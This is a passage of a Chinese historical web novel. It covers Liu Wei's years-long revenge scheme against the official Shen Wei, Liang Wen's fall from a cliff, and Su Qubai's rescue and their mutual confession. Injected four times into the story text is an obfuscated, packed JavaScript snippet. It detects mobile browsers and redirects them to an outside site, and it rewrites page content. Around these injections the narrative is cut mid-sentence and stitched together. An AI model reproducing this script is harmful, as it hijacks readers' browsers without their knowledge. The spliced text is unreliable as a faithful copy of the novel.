“如果你是想揭发沈巍的罪行,明明可以直接告诉他,没必要上演这一出来戏弄他。”元岐看着时不时往下滑落碎石的断崖,喃喃开口:“他真的能活下去吗?” “可以。”柳薇这一筹谋已经数年了,原本她的棋局里没有梁温这颗棋子,但偏偏她撞了上来。 “为什么不直接告诉他?”元岐怎么都想不明白。 “你知道梁温是女子吗?”柳薇答非所问。 元岐猛然看向她:“怎么可能。” “怎么不可能?”柳薇将梁温的事缓缓道出:“梁家当年对外宣称喜获麟儿是假,实则梁旭川的孩子是个女孩儿,后来由梁家老夫人一手教养长大。” 柳薇看着元岐震惊的脸:“元岐,我这是在帮他。沈巍和孙家的人一直都在盯着梁温,若是我直接将真相告知于她,且不说她有没有能力报仇,单是沈巍动动手指,她就死无葬身之地。” 元岐还是不说话,柳薇接着道:“你知道梁温身边的那个男人是谁吗?” “苏三。”元岐问过元宝,他是这样回他的。 “他是当朝大理寺少卿,苏瞿白。” 元岐真不清楚:“所以呢?这就是你谋划今日一事的缘由。” “元岐,她明面上得死。她的死得让整个丰泽县知道,她的死得让沈巍知道。”柳薇面色平静。 元岐觉得眼前这个人陌生又可怕。 一切都是她筹谋好的,这不算什么,但一切都像她筹谋的那样发展,这才是柳薇的可怕之处。 元岐第一次与柳薇见面是在六年前,他饥寒交加被生活所迫,频死之际是她救了他。 从此,元岐为柳薇卖命,柳薇不信他,她不信任何人。 所以柳薇常年给元岐配药,死倒是死不了,但发作起来痛不欲生。 跟了柳薇一年后,她要求他获取沈巍的重视,太难了,但他只能照做。 成功获取信任后,他按兵不动,与柳薇来往甚少。 在柳薇原本的谋划中,元岐会在沈巍的授意下成为丰泽县县令。接近沈巍与孙磊,将他们背地的勾当悉数套出,等回京述职时一举揭发。 柳薇对此谋划把握不大,但梁温和苏瞿白的到来让她看到了希望。 一个是她恩人之女,没错,就是恩人之女——梁温的父亲梁旭川曾救过柳家二姐妹。 另一个是大理寺少卿,官至四品,且家世鼎盛,绝对是个极好的靠山。 要说柳薇对沈巍有多恨呢?可以算得上是日日夜夜都想将他拆皮扒骨、啖肉饮血的程度了。 为什么会这么恨呢?因为沈巍动了她这辈子最为重要的两个人。一个就是梁温之父梁旭川,另外一个就是柳薇亲姐姐柳惠。 他当年也是趁着柳薇醉酒才套出来的,自从那以后,柳薇再也不饮酒了。 柳薇和她姐姐柳惠父母双亡,后家乡又遇上灾害,一路流亡到了丰泽县。沿街乞讨,与野狗抢食,后来柳薇先顶不住了,柳惠怕她一病不起,正好遇到暗中走访的梁旭川。 梁旭川派人请了大夫,后念其可怜便将两人照料了一阵子,柳薇一身药道本领就是跟着梁旭川身边的大夫学的。 梁旭川不常探望他们,只是偶尔才会来看看她们。就这样持续了一年多,柳薇再也没见过梁旭川,从常年跟着梁旭川的大夫口中得知,他死了。 死的蹊跷,正值壮年的人,就这样一点水花都没溅起的死了。 别人都不知道他怎么死的,但柳薇和柳惠知道,因为在梁旭川死前的那天晚上,他来看过他们,在她们的死缠烂打之下不小心透露他的去处。 是幽州节度使——沈巍府上。 隔天,梁旭川便死了。 那年,柳薇柳惠一个四岁,一个五岁。 再后来,她们靠着手中学到的本领在丰泽县活了下来。 她们住的偏远,不与人来往。 可惜好景不长,柳薇外出采药耽搁了好久才回家,回家后发现柳惠不见了,那年柳薇十四岁。 她找了好多年,周边的地域都找过,但都没有消息。 后来,她就不找了,回到了丰泽县。 命运弄人的是,她才回到丰泽县就听到了张府死人的消息,好巧不巧的是被请去张府看病时,从嘴碎的丫鬟口中得知死的人叫柳惠。 她心中生疑,天底下哪里会有这样巧合的事,后来她多次入张府,终于确认死的人正是她的亲姐姐柳惠。 万念俱灰,那年她也不过十八岁。元岐就是那个时候被她捡到,并为她卖命的。 柳薇本来只想解决掉张府的,但顺着往下查,就查到了与张府结亲的孙家主管,又发现孙家与沈巍时常有往来。 怪不得张家有那样的胆子,捅了天大的篓子都有人给收拾烂摊子。 两条至亲之人的命,换来了她五年的筹谋。 她知晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903220|130062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈巍的妻子身体不好,主动登门为她调养身体。 元岐从柳薇嘴里探听出沈巍的下落,故意演了一出投诚戏码,将上任县令的反心道出。 为了增加沈巍对他的信任,柳薇又谋划了一出上任县令恼羞成怒杀人案,被刺杀的正是元岐,救下他的是沈巍。 沈巍自诩元岐的救命恩人,再加上元岐的投诚,使元岐成功混入了沈府。 沈巍对他的信任与日俱增,想要将他提拔成丰泽县县令,这离柳薇所想所谋差不了多少了。 但是,漏洞出现了。 一年前,梁温上任,元岐的县令之位泡汤了。柳薇为了防止计划有变便派人查了查。 这一查,不得了了。 柳薇五年的筹谋因她变了,只因为她是梁旭川的孩子。 所以才有了柳薇状告张衷栩一事,柳薇在帮梁温往上爬。 梁温的身份到了幽州注定会引起沈巍的注意,与其被动的被人捏住要害,不如主动迎上前,杀他们个措手不及。 一切都如柳薇所预料的那般发展,苏瞿白的到来更是锦上添花。 柳薇将这些年能查到的所有都送给了他们,通过元岐为纽带,将孙家的布料生意,山匪劫道等。 张家、孙家与沈巍的关系是她通过状告张衷栩一事透露出马脚的。 看守所的关外舆图是柳薇送去的。 苏瞿白等粮商被劫也是柳薇雇的人专门将他们往关山那里引的。 而今天这一出,就是柳薇送给梁温最后的东西。 梁温若是找到了,沈巍的死便是板上钉钉的事,跑不了。 前提是,梁温还活着。 关山北崖底的事迹众说纷纭,最靠谱的就是沼泽密布,瘴气横生,蛇虫鼠蚁众多。 但是,那只是十多年前的说法,如今的关山北崖底,全然是一副崭新样貌。 为了确保梁温活着,柳薇和元岐也是为她煞费苦心。 元岐上次称病告假就是来了关山北,就站在和现在同样的位置。 世人都知崖壁耸立陡峭,高千丈。却不知这崖壁暗藏玄机,在崖壁最上方,那里泥土湿滑,且土质较软,多为泥沙,碎石巨岩几乎不可见。 且那里每隔数十丈就会有一道凸起的平地,虽然是歪斜的,但也能构成一定的阻力。 柳薇当年采药被困便是一时不察从这个地方跌落,不过她没滑到崖底,因为当时这里有藤蔓,她抓住了。 并且,爬上来了。 正是因为阴差阳错,才有了如今的一环。 梁温正是从这个极为特殊的地方跌落的。 元岐和柳薇经过数十次的推演,确保会完美跌落崖底才放心下来。 元岐思及此,真是觉得世事无常。 谁都可以是棋子,且谁都不得不成为棋子。 他俯身蹲下,扯了扯崖边粗壮的藤蔓,结结实实的。 “柳薇,我不逃了,这辈子就这样吧。” 元岐转身走人,柳薇就在原地,看向脚边他扔下的药瓶。 就这样…… 她笑出声,谁允许了。 35. 至关山北 徐光启等人摆脱黑衣人后立刻追了上去,在岔路口时看到他们躺了一地。 他翻身下马,上前拍醒晕过去的牛青:“你们县令呢?” 牛青恍恍惚惚便要起身:“他们都追着县令去了,快去救人。” 徐光启又问:“往哪边去了?” “右边。”牛青给他指路,往前走了两步便踉跄着倒下,再次昏了过去。 徐光启这才看到,他身上一道道的伤痕,面色有些凝重:“清点人数,将他们抬走,送去沈巍那儿。” “刺史,一百一十七人受伤,五十八人身亡。元县丞和梁县令下落不明。”有人前来通报,徐光启挥手让他们退下。 “其余人跟我走,去右边找梁县令和元县丞。” 众人分成两拨,各自走人。 沈巍也得知了这一消息,徐良站在他身侧,孙磊闷闷咳着。 沈巍面色不明,看向徐良:“军饷呢?” 徐良:“军饷已经派人去接,并无任何损失。” 孙磊一听:“不是冲着军饷来的,还真是有意思。” 沈巍突然想到什么:“梁温呢?” 徐良摇头:“下落不明,接头的人回话徐刺史的人伤亡惨重,梁县令和元县丞下落不明。” 沈巍一听到元岐,心中顿时生疑:“元岐和梁温都不见了,在哪里和他们分开的?” “就在关山那个岔路口,梁县令往右边去了,那里是关山北断崖,多半是坠崖了,生还可能不大。” 孙磊静静听着,也不作声。 “崖底。”沈巍穹劲有力的手瞬间攥紧:“去找,务必要将元岐和梁温找到,无论死活。” “是。” 徐良退下后,孙磊才开口:“您是怀疑元岐有异?” “你不觉得太巧了吗?”沈巍一想到这主意是元岐提出来的顿时觉得不大对劲:“元岐提出来让梁温运送军饷,但和梁温一同消失的也是他。关键是,历年来的军饷是如何被劫的,你不知道吗?” 孙磊怎么可能不知道,往年的军饷被盗案闹得轰轰烈烈的,实则是一出贼喊捉贼。 他们的人办成山匪办事,劫官道军饷,盗商行货粮,桩桩件件,皆是他们自己所为。而今这一次却非他们所为,假扮山匪的人没有出动,却还是出事了。 更有意思的是,他们不是冲着军饷来的,那便是冲着人来的。徐光启性命无忧自是排除在外,而除了徐光启的人伤亡外,只有梁温和元岐失踪了,那群人就定然是冲着他们其中一个来的。 而元岐是策划这场行动的主谋,也是被梁温主动带着的,细细推算,这场人祸是冲着梁温的。 可是为什么是梁温呢? 这就是疑点所在。 梁温在丰泽县待的好好的,处在幽州地界上,出了事都有沈巍顶着,且她平日里接触不到别的官员,哪能招来仇家啊。 所以啊,元岐的嫌疑就格外大啊。 但是为什么呢? 元岐为什么对梁温抱有敌意呢?就因为梁温抢夺了他县令的位置吗? 孙磊这般想着,倒是觉得有点可能。要是他被人抢了本该属于他的东西,费尽心机手段也得夺回来。 正想着,就听见沈巍开口:“你带人去一趟丰泽县,务必将梁老夫人看住。” 话音刚落,门外便传来崔嬷嬷焦急的声音:“主君,您快去看看夫人,她又发病了。” 沈巍一把将门扯开:“柳薇呢?” 崔嬷嬷碍着身份没动手,急得脸都冒汗了:“柳医女不见了,找不到人啊,不在医馆,也没在家。” 沈巍面上冷静,心中却暗暗发紧,立马抬布朝外走去。 孙磊却突然想到什么,叫住沈巍:“元岐与柳薇是不是走的很近?” 孙磊没少来沈巍府上,故而撞见过不少次卫云颍发病,每一次都是柳薇救治的。而好几次他都撞见元岐和柳薇接触,太频繁了。 起初他觉得没什么,毕竟元岐为沈巍卖命,柳薇为沈巍妻子卖命,有交集是很正常的事。 但上次柳薇没有声张便将张衷栩给告了,使得他们不得不将张府给抛出去,将计就计把梁温拉入他们的阵营。 如今一想,桩桩件件后面皆有推手。 沈巍看向崔嬷嬷,他平日里和柳薇接触不多,顶多就是在妻子院中见过几次面,印象不深。 崔嬷嬷惶惶点头:“是,元岐每隔一段时间就会来柳薇这里取药,让她帮看身体调养一下。” “大概都是什么时候?”沈巍又问。 “每月中旬。不过,近几个月来的少了,元县丞上任后不常来。” 沈巍瞬间联想到了张家柳惠,又联想到了柳薇和元岐进府的日子,相隔不足一月。 又想到了元岐向他投诚时透露的马县令起反心这件事,他调查过元岐知道出身贫寒,这样一个人怎么可能接触的到马县令。 他当时不是没起过疑心,但随后马县令刺杀元岐的事让他分了心,后来元岐也安分,做事不拖沓,疑心便渐渐放下了。 哪里成想,这一切都可能只是他们布的局。 “去查,查清楚他们之间所有的往来。”沈巍顾及着卫云颍的身子,只能吩咐孙磊去做,而他转身便和崔嬷嬷走了。 孙磊冷哼一声,也离开了沈府。 关山北,徐良和徐光启的人搜寻着,半个山头都被他们翻遍了,也没找到他们二人半个影子。 徐良看着旁边的徐光启,怕他误事,便道:“刺史,此地已经巡查的差不多了,还没找到人,想必是凶多吉少了,您身上淋了雨,又被追杀,身心损耗巨大,不如先走,我们接着搜查。” 徐光启摇摇头,固执的站在原地。 心里不像面上表现出来的平静,明明答应了别人要将她安全带回,却没想到出了这档子事。 徐良眯了眯眼,见他不肯动便没再说什么。 他的视线落在徐光启发白的唇和潮红的脸上,心里闷嗤一声,想必也坚持不了多久了。 徐光启能忍,主要是怕徐良他们使坏。 但下一秒,徐光启突然捂住自己的头,恍恍惚惚的向徐良身上倒去。 徐良一把接住,显些有点撑不住。 徐光启年轻时算的上俊美,但终究年华逝去,身上滋生赘肉,整个人很是不轻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到走到边缘,他蹲下来,湿漉漉的泥土上残存着半截脚印。 很不清晰。 脚印的边上还有几根藤蔓,一路蜿蜒而下,隐在那浓雾中。 除此外,他还捡到一瓶药,上面封着口,字迹被雨水冲刷,模糊成一团,看不清楚。 他没再管别的,握住藤蔓,踩在崖边,一点点往下爬。 整个人倾斜着,头上的斗笠晃晃悠悠,最终掉落,露出一张脸来。 狭长的眸,殷红的唇,透着凌厉的眉峰。 是苏瞿白。 冷白的手紧紧握住粗壮的藤蔓,渐渐的,整个身影越发渺小,最终被黑暗吞噬,不见人影。 崖边的脚印被他用手抹掉,整个关山北再次陷入沉寂中。 而此时,崖壁上某块凸起的平地上,瘦弱的身影蜷缩成一团。 胸腔有微弱的起伏,她的身边停留着几只寒鸦,时不时转动脑袋,漆黑的眼睛却一直停在她身上。 就等着她死去,好将她吞食。 36. 心甘情愿 崖壁上有棵树干不算粗壮的小树,斜着生长,而那树干上滞留了一双沾了血迹的手。 叶子上的水滴摇摇欲坠,最后滴落在梁温的眼皮上。 她昏厥过去了,但是双手还紧紧攥着树的树干不肯撒手,背后的衣袍被划破一道口子,嫩白的肌肤上浮现一道红肿的血痕,泥土混着血将伤口旁的衣料浸的肮脏。 山涧的寒气越来越重,雾气浓厚的三丈远都看不清东西。 立在断枝上的寒鸦偶尔发出凄清怵人的叫声,梁温嘴里发出闷哼声,薄薄的眼皮缓缓睁开,露出一双茫然的眸子来。 半条腿垂落着,小腿被细长却坚硬的枝干贯穿,又麻又痛。 她扭动身子向上蹭去,身上落下冷汗,但为了活着,她只能忍着痛,将自己从倾斜的平地边缘移到上方。 小树因她的力而四处摇晃,枝叶交迭婆娑作响,寒鸦被惊到展翅飞走了。 她用手撑起身子靠在岩壁上,岩壁的泥土簌簌掉落。 眼前阵阵发黑,她指尖颤抖着摸向怀里,掏出一瓶瓷盒和一把匕首。 手上有些失力,瓷盒和匕首差点没握住掉下去。 她抬手凑到唇边,用牙咬开瓷盖,里面有三颗褐色的药丸。 梁温仰头,将其中一颗咽下。 苦涩味儿在嘴里化开,但这跟活下去的希望相比显得是那样的无足轻重。 阴冷和潮湿裹挟着她,梁温额间发烫,面色潮红,唇色却发白起皮。 这种感觉,也能称得上是如堕阴曹了吧。 太痛了,像是烈火灼烧你的筋骨,海水挤压你的身躯。 但她顾不上。 小腿还在流血……这是她唯一的念头。 她松开一只握着小树的手,握住自己带伤且畸形外翻的腿骨,膝盖弯折,腿肚被牵扯到,剧烈的疼痛使得梁温呜咽的发出叫唤。 眼泪不自觉流出,全身痛的蜷缩到一起。 梁温忍住,指尖握紧贯穿小腿的枝干,用力向外拔出,鲜血迸溅成一道弧线,脏污的脸上瞬间多了几滴血珠。 她仰脖将嘶吼声咽下,缓了缓后用牙咬掉缠在匕首上面的布条,拿起匕首将腐肉剜掉。 眼前突然什么都看不清了,空洞的眼泛着红血丝,好半晌儿才恢复。 她用匕首砍下几截长枝干,又将衣角割成布条,伤口被还算干净的布条包裹。梁温又用布条将枝干和小腿绑在一起作为固定。 强撑着做完这些,她便失了力的倒下,匕首和瓷盒被她放回怀中。梁温就这样睁着眼,望着漆黑的天。 但她看到的其实不是天,而是被浓雾遮盖的夜。 也不是非要看天,只是她不能闭眼,不能睡。 这么冷的地方,她会失温的。 而失温,会死。 她不能死。 坠落山崖都没死,寒冷的夜就更不能将她的命收去。 困了,眼皮忍不住耷拉了,她就狠狠地咬一口舌尖。 就咬一点点,会痛,但也不至于造成太大伤害。 心里一遍又一遍告诫自己,梁温,你不能睡,还有人在等着你呢。 祖母还在等着你呢。 一想到梁老夫人,梁温突然偏头看向手上的佛串,那里空了。 她没动身子,只是用手在四处摸爬,最终也只在身体与崖壁的缝隙里找到一颗珠子。 但是,却是最特别的那个。 梁温摸到了珠子上面的凸起,好像是个温字,她之前不知道,也没注意过。 温字,梁温的温。 这是祖母给她的,护身符。 她一遍又一遍的摩挲着那个凸起,嘴角蓦然涌上笑意,清澈干净的眼睛里痛楚不再,而是满满的欢喜。 还好,她还是有人牵挂的。 不仅是梁老夫人,梁温脑海中一瞬间闪过无数道身影。 元宝、符杳、符文华、符老头、牛青、元岐……还有苏瞿白。 脑海中的画面定格了,他的身影挥之不去。 也不知怎的,突然就想到那日的大雨,苏瞿白递给她的披风和汤婆子,马车里真的好暖和。 怎么会想到他呢? 梁温自己也不清楚。 梁温就这样扛着,分不清日夜的扛着。 三粒药被她完全吞下,腿上的腐肉也剜了一次又一次,但她已经不会痛了。 感受不到,身体冻的僵硬,眼睫和眉毛生了一层霜。 她不允许自己闭眼,就怕一闭上就睁不开了。 恍惚的睁开眼,琉璃般透彻的瞳孔有些涣散,旁边垂落的的藤蔓轻轻晃动着。 梁温觉得自己大概真的死了吧,眼前都出现幻觉了。 黑色的身影缓缓落下,藤蔓的晃动变的剧烈,她微微仰脖,和那双熟悉的眼对上。 那双眼,真的好像苏瞿白。 黑黑的,沉沉的,每当你望去,整个人都要掉落进那幽幽的漩涡里。 她唇齿翕合,却没有丝毫声音道出。 苏瞿白…… 孱弱的呼吸供给不上,梁温眼前发黑,又看不到他了。 突然很想笑,还是撑不住了。 眼角有泪留下,梁温也分辨不出那是什么泪。 不甘有之,遗憾有之,难过有之,怨过有之……太多了,多到她分不出来。 她干脆的闭上眼,就这样吧,好好睡一觉。 但下一秒,腰背处探进一只手,她的上半身被扶起,落入一个不算温暖的胸膛。 “梁温,别睡。” 耳边是苏瞿白的低吼,他怎么那么凶呢。 “不许睡,睁开眼看看我。”苏瞿白一只手拽住藤蔓,另一只手搂住梁温,双腿跪在凸起平地的边缘,摇摇欲坠。 苏瞿白弯着腰起身,想要将梁温挪动到背上,但却发展她的手紧紧攥着树干。 他用力却怎么也拽不开,只能一点一点撬开她的指缝,血迹已经干涸,十指相扣间被刮落。 然后苏瞿白立刻探查了她身上其余的伤口,背上红肿的地方已经青紫,左小腿的伤口处理的及时,身上应该有多处擦伤,但都不算严重。 苏瞿白摸上梁温的脸、脖颈、手以及裸露的小腿,太凉了。 将外衣脱下,把梁温整个人围起来,背过身将她背在背上,割下一截藤蔓将她牢牢的捆在身上。 苏瞿白踩在平地边缘,手绕着藤蔓向下慢慢走,这里的崖底有坡度,只是常年雾气笼罩,泥土太过湿滑,走的时候要小心些。 他边往下落,边开口唤醒梁温。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929985|130062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “梁温,别睡了。” “盛京那边我已经去信给太子,正好趁着这次回盛京见他,我都安排好了。” “沈巍和孙磊那边动静也不小,为了找你和元岐,整个关山差点翻了个遍。” 梁温还是没睁眼,苏瞿白喘着粗气缓了缓身形。 “梁温,你不是很在意你的祖母吗?孙磊已经派人将县衙给围了,如果你真的在意你的祖母,就赶紧醒过来。孙磊和沈巍是什么样的人,你应该清楚,为了你的祖母,你也得醒过来。” 梁温搭在苏瞿白肩膀上的手指动了动,苏瞿白见有用连忙接着说道:“还有你的属下牛青,现在也在沈巍的地盘。” “梁温,还有我呢。” 苏瞿白有一瞬卡顿:“我本来都出了幽州地界了,听了消息快马赶回来,马都废了两匹,又下了这千丈高的山崖,整整一天一夜。给我个面子,别睡了。” 见她还没有动静,苏瞿白心中有些发紧:“不看我的面子,看在两匹马的份上,别睡了。” “那么多人等着你回去呢,你不是最怕死的吗?怎么甘心折在这儿,啊?” 苏瞿白声音有些发颤,却依旧温和,手上的动作却快了起来。 他常年耍刀,手上有厚厚的茧子,此时茧子被藤蔓磨平,生出水泡来。 “马上你就自由了,梁温,你听见了吗?” “对了,你还欠我一次赌约呢,你欠我的赌约还没分出胜负呢。” “你怎么敢的?” 他断断续续说着,语言逐渐混乱,自己也不知道再说着什么。 “梁温,我后悔了。” “我不应该把你拉进来的,你就应该好好做你的县令。” “对了,你难道不想知道我为什么会知道你是女子吗?” “你难道不想知道我是如何得知你坠崖的消息吗?” “你怎么这么狠心……” 他话音未落,一只手虚虚掩住他的唇,温热的唇和冰凉的手掌贴在一起,脖颈处有微弱的气息喷洒出。 他听见梁温的声音了,尾音含着笑,像是再笑他。 “苏瞿白,你好烦啊。” 声音透着虚弱,含含糊糊的,但苏瞿白就是听得一清二楚。 苏瞿白向下爬的动作顿了顿,然后梗着喉咙道:“这辈子,只烦你。” 梁温恹恹的,垂着眼,在苏瞿白的颈窝蹭了蹭。 好暖和啊。 她每次触碰到苏瞿白时,都觉得他身上的体温很高,烫人。 周身被苏瞿白的气息包裹着,一呼一吸之间都是。 梁温收回手,捏了捏苏瞿白的耳尖,凉凉的。 索性用手掌将他的耳朵捂起来,苏瞿白没管她。 但下一秒,他愣愣的顿住了,脚下差点一滑,脚底有泥土坠下去。 “苏瞿白,那个赌约有结果了。” “我认输了。” “恭喜你,你赢了。” 短短几句话,苏瞿白的眼睛突然就红了。 “你说真的?” 他有点不相信自己的耳朵。 “真的,我认输了。” “苏瞿白,你听清楚了吗?我说,我认输了。” 梁温输的心甘情愿。 37. 情意披露 凛冽的寒风也滞停了—— 苏瞿白没了动作,就这样挂在了崖壁上。 “梁温,你知道赌约是什么吗?你知道赌注又是什么吗?” 梁温收紧手臂,将这温暖的源体死死抓住。 呼出的暖气刮扫着苏瞿白的颈侧,那里有一道青筋,此时正凸起。 梁温的声音和往常没什么不同,依旧是平淡的尾音,但苏瞿白就是从里面听出了软意。 “无所谓了,是什么我都认。” 苏瞿白即刻接上话茬:“如果是你自己呢?” 两个人的心跳隔着,却又好像紧贴着。 梁温没有回话,苏瞿白就这样静静的等着。 “我说过,我输给的是你。”梁温见他不动,心下生叹,又多言了一句。 苏瞿白也沉默了,手脚并用往下攀爬,两个人的重量终究是耗掉他的力气。 梁温趴在他的背上,宽厚的背在一松一驰间扯动出分明的线条,其实有点硬。 梁温的身体渐渐回温了,绷紧的心神松缓下来,疲惫感涌上,眼皮忍不住耷拉。 苏瞿白感受到了平稳的呼吸和胸膛起伏,他其实很想多问几句。 问问梁温她不要她的自由了吗? 问问梁温她今日说的话算不算数? 问问梁温她究竟是妥协还是真的……真的爱他? 但是这些话太重了。 既然梁温给了他回答,所有的一切便都没意义了。 覆水难收,她亲口说了的。 苏瞿白也不知道爬了多久,手脚都僵麻了,只是因着心中信念,重复动作,一点一点往下攀爬。 这确实是块好地方,每到一个凸起的平地他都能停下来缓缓。 许是那三颗药发挥了效用,也可能是苏瞿白给梁温披上的外袍遮挡了寒风,渐渐的,梁温的烫人的体温恢复正常了。 梁温浅浅的睡了一觉后醒来,身下的苏瞿白还在向下。 心中装着事,恶劣的环境都不能叫她熟睡,她看着仅剩几寸便要到另一个凸起的平地便拍了拍苏瞿白的肩:“到下面歇会儿。” 苏瞿白也正有此意,脚下踩实,慢慢松开藤蔓,将腰间的藤蔓解下,梁温退到里侧。 崖壁上长着喜阴的草木,叶上汇聚着雾气凝成的水珠,苏瞿白取下一片巴掌大的叶子,一点一点收集着绿叶表面的露珠。 待收满便凑到梁温唇边,喂给她喝。梁温发白起皮的唇沾染了湿润透出两分本来的红来。 她只喝了一半,剩下一半她伸手推到苏瞿白的唇上。 “我不用,你喝。”苏瞿白拒绝。 梁温摇头:“我够了,你喝吧,接下来的路还远。” 她这么说,苏瞿白便没再推辞,大口饮下。 腹中早就空了,饥饿充斥着。 “还有多久才能到崖底?”梁温向下望了望,只能看见浓厚的雾气,其余的便什么都看不出了。 苏瞿白一路丈量着,心中有些成算。 “一日足矣。”他说的风轻云淡,但缺水缺粮的情况下,一日真的很久了。 “你饿吗?”梁温看向他,眼下还缀着青黑。 苏瞿白摇头:“不饿。” 虽是这么说,但梁温哪里能信,虽然在这里分不清日夜,但她大致有些估量。 至少过去两日半了。 她伸手掏出半个干硬的饼子来,黑衣人袭来时她还剩下半个饼子,情急之下便塞进了怀里。 如今一想,得亏当时脑袋一急是塞进了怀里而不是扔在地上。 她递给苏瞿白,他没接:“你吃吧。” 他没问哪来的,想必是猜到了。 梁温看着他,最后伸手掰成两份,将大的那份递给他:“吃吧,咱们两个人总归是你更费力一些,且这饼子太干太硬了,我吃着割嗓子。” 苏瞿白还是将那个小块的拿过:“割嗓子怕什么,在口中多温温。这里条件不好,你就和着吃些,总得熬到外边的。我常年练武,身体壮硕,总归比你好一些。” 梁温没再搭言,只是咬了两口含在嘴里,待软化后咽下。 苏瞿白倒是吃的香,一手拿着叶子接着蓄水,另外一只手拿着饼子往嘴里送。 两三口解决掉。 梁温看着,觉得他的牙口真好,老了应该也会不错吧。 她一想就想偏了,意识到后有些不自然的发愣,随后咬下饼子遮掩,将思绪拉回来。 可能是人处于极度疲惫的状态下,干什么都力不从心,她有些吃不下。 肚子空空的,很饿,但就是吃不下。 硬逼着吃了点,就不再勉强自己,将剩下的又放回怀中。 苏瞿白看见哄了两句:“别剩下,都吃了。” 梁温的高热才退下去,整个人恹恹的,摇摇头:“吃不下了。” 苏瞿白看着叶子上又蓄起了一小涡水,递到她唇边,梁温就着喝下。 “梁温,你怕吗?” “什么?”梁温抬起头,唇上还有点湿润。 苏瞿白就这样盯着她:“坠崖的时候……你怕吗?” “说不怕是假的,但是又没有那么怕。”梁温想了下,又道:“整个身体在一瞬间悬空了,感觉世间所有都定住了。” “身体往下坠,但脑袋僵住了,思考不起来。” “苏瞿白,你知道的,我一直都在努力的活下去。为了自由,我狭隘了自己。” 她语调缓缓的:“我以为摆脱了挟制,我就自由了。我以为脱离权利中心,我就自由了。” “是我太天真了。” “所以,坠崖那一刻脑袋空空的,突然就不是那么在意了。” “把我揉碎了,洒在天地间,也是自由。” 她还是怕死,但她是怕无缘由、无意义、无所值得去死。 “成天把死不死挂在嘴边,吉利都被你赶跑了。”苏瞿白扯开这个话,他不想听梁温讲这个。 “你怕啊?”梁温有些想笑。 “我怕。”苏瞿白很认真的说,眼睛直勾勾的盯着她。 他的目光太灼人了。 梁温突然有些不忍心,她伸手捂住他的眼睛:“别怕。” “我不说了,以后都不说了。” 苏瞿白闭上眼,喉结上下滑动:“嗯。” 梁温这才收回手。 突然想起她迷迷糊糊间苏瞿白说的话:“你是怎么知道我坠崖的事的?明明你都已经走了。” 苏瞿白一听是正事,也收敛了脸上那一点点无措:“我收到了一封信。我刚出幽州地界就在路上遇到一个乞丐,他说别人托他送信给我。我问是谁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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且在信上解释了梁温可能遇到的处境,以及坠崖的地方。 太矛盾了。 梁温静静思索着,突然伸出手来:“你把信给我看看。” 苏瞿白掏出递给她。 梁温拆开,仔细查看着信封,最后从折角处探到一个微小的开口。 是隔层。 苏瞿白也看到了,他微微蹙眉。 早该想到的,是他大意了。 柳薇若是盘算好了一切,就不可能让他们这样不明不白的。 不然,她的一切算盘就落空了。 她一定会留下什么,不管对他们有没有用。 而且,设计出这一局,柳薇一定是想告诉他们什么。 这件事一定很重要,重要到会危及梁温的性命。 梁温从隔层中,取出极为单薄的纸。 上面的字格外的小,但工整对仗。 这里实在昏暗,纸上的字体辨认不出。 苏瞿白吹燃火折子,两个人的脑袋挨在一块,视线落在纸上。 38. 往事回首 苏瞿白手指弯曲护着火折子上的火,薄薄的两页纸上是柳薇将所有的计划筹谋以及她和梁旭川的过往。 梁温和苏瞿白看完后就着火燃了个一干二净,灰烬碎成一片一片的,随着风逝去。 “真没想到,柳薇竟然和你有这样一段缘分。”苏瞿白打心眼里没注意到过这个人,但却是这样一个不起眼的人,耗费五年布下了这样的局。 苏瞿白对柳薇起了点欣赏,但也只有这点欣赏。 在他看来,世上没有所谓的天衣无缝,即使柳薇现在的计谋确实在有条不紊的进行着。 但是世上的万一和如果太多了。 他不想梁温成为其中的一个。 梁温看他那副模样,心中猜了个大差不差。 “苏瞿白,我本来可以躲掉的。” 苏瞿白闻言看向她,幽幽的火光映在两人的瞳底。 “关山北的山脚下有个岔路口,左边是平坦的大道,右边是关山北的断崖。”梁温缄口,还是接着道:“我没躲,也不想躲。” “柳薇,她想要我活。”梁温不知道怎么和苏瞿白说,但她就是觉得柳薇想要她活。 不然,她不会留下这样的书信来。 也不会派人拦在苏瞿白的必经之路上。 她想起烧掉的信纸上最后一句话:“崖底往右有你们想要的。” 他们想要什么? 梁温想了一下,她想要的是什么,连她自己都不清楚。 苏瞿白想要什么,她也没有多了解。 但那个“你们”,梁温突然就有点知道了。 